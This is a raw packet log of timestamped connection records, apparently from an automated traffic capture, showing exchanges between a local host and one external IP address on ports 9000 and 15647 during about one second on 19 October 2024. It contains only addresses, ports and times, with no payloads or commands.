Oct 19, 2024 03:37:07.491455078 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.491786003 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.491826057 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.491835117 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.491837025 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.491871119 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.492084026 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.492094994 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.492105007 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.492136002 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.507632971 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.512459040 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.516902924 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.537874937 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.555460930 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.555536032 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.578440905 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.578450918 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.578505039 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.580991983 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.581057072 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.581068039 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.581094980 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.581141949 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.581152916 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.581192970 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.581217051 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.581262112 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.581289053 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.581300020 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.581336975 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.581372976 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.581384897 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.581439972 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.610666990 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.610686064 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.610696077 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.610727072 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.610761881 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.610805035 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.610822916 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.610832930 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.610881090 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.611126900 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.611143112 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.611186028 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.611198902 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.611243963 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.611291885 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.611366987 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.611377001 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.611417055 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.611494064 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.611530066 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.611540079 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.611569881 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.611587048 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.611634970 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.611891031 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.611908913 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.611953974 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.612035990 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.612128973 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.612138987 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.612169981 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.612294912 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.612333059 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.612353086 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.612363100 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.612407923 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.618252993 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.666291952 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.667722940 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.707782984 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.707799911 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.707812071 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.707823992 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.707834959 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.707845926 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.707856894 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.707968950 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.707978964 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.707989931 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.708012104 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.708012104 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.708031893 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.708031893 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.708076000 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.708087921 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.708131075 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.713274002 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.726857901 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.730830908 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.730875015 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.730885983 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.730916023 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.730959892 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.730971098 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.731003046 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.731009960 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.731059074 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.731489897 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.731543064 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.731556892 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.731566906 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.731590033 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.731616974 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.731662035 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.731672049 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.731714010 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.731774092 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.731829882 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.731843948 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.731874943 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.731941938 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.731957912 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.731988907 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.732058048 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.732115030 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.732161999 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.732170105 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.732178926 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.732227087 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.732305050 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.732393026 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.732405901 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.732433081 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.732522964 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.732564926 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.732580900 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.732593060 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.732639074 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.757977962 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.803529978 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.812042952 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.827596903 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.827756882 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.827768087 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.827778101 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.827789068 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.827805996 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.827822924 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.827850103 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.827877998 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.827912092 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.827941895 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.827951908 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.827984095 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.828010082 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.828181982 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.828233957 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.828244925 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.828289032 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.835613012 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.851340055 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.851360083 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.851366043 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.851371050 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.851376057 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.851382017 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.851618052 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.851628065 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.851654053 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.851664066 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.851666927 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.851701975 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.851809025 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.851818085 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.851862907 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.852145910 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.852169037 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.852180004 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.852214098 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.852269888 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.852288008 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.852319002 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.852412939 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.852422953 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.852466106 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.852516890 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.852529049 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.852571011 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.852592945 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.852603912 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.852615118 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.852643967 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.852660894 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.852926970 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.853019953 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.853065968 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.882113934 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.902496099 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.944132090 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.945043087 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.947695017 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.947751999 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.947762012 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.947799921 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.947851896 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.947863102 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.947894096 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.947907925 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.947920084 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.947946072 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.948028088 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.948040009 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.948071957 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.948081970 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.948128939 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.948304892 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.948410034 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.948420048 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.948457003 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.949944973 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.971252918 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.971263885 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.971275091 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.971304893 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.971335888 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.971473932 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.971487999 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.971525908 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.971529007 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.971601009 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.971645117 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.971826077 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.971879005 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.971889019 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.971929073 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.972107887 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.972116947 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.972157955 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.972246885 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.972291946 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.972317934 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.972328901 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.972368002 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.972374916 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.972489119 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.972517967 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.972528934 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.972539902 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.972569942 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.972630024 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.972641945 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.972675085 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:07.972904921 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.972961903 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.972975016 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:07.973007917 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.014473915 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.014539957 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.014630079 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.014642954 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.014815092 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.054224968 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.059097052 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.067744017 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.067760944 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.067770004 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.067801952 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.067845106 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.067856073 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.067866087 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.067903996 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.067930937 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.067989111 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.068052053 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.068061113 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.068099022 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.068186998 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.068238974 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.068275928 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.068286896 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.068330050 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.068332911 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.068517923 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.068564892 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.068592072 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.090523958 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.094906092 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.094968081 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.094983101 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.095046997 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.095065117 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.095082998 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.095417976 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.095463991 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.095474958 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.095941067 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.095993996 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.096004963 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.096062899 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.096096992 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.096187115 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.096391916 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.096431017 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.096442938 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.096544981 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.096556902 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.096641064 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.096726894 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.096739054 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.096775055 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.096786976 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.097220898 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.131637096 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.135010004 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.135030031 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.135039091 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.135225058 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.188476086 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.188486099 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.188497066 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.188508034 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.188539982 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.188550949 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.188549995 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.188563108 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.188575983 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.188600063 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.188612938 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.188710928 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.188720942 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.188733101 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.188772917 CEST	49705	9000	192.168.2.5	213.109.202.97
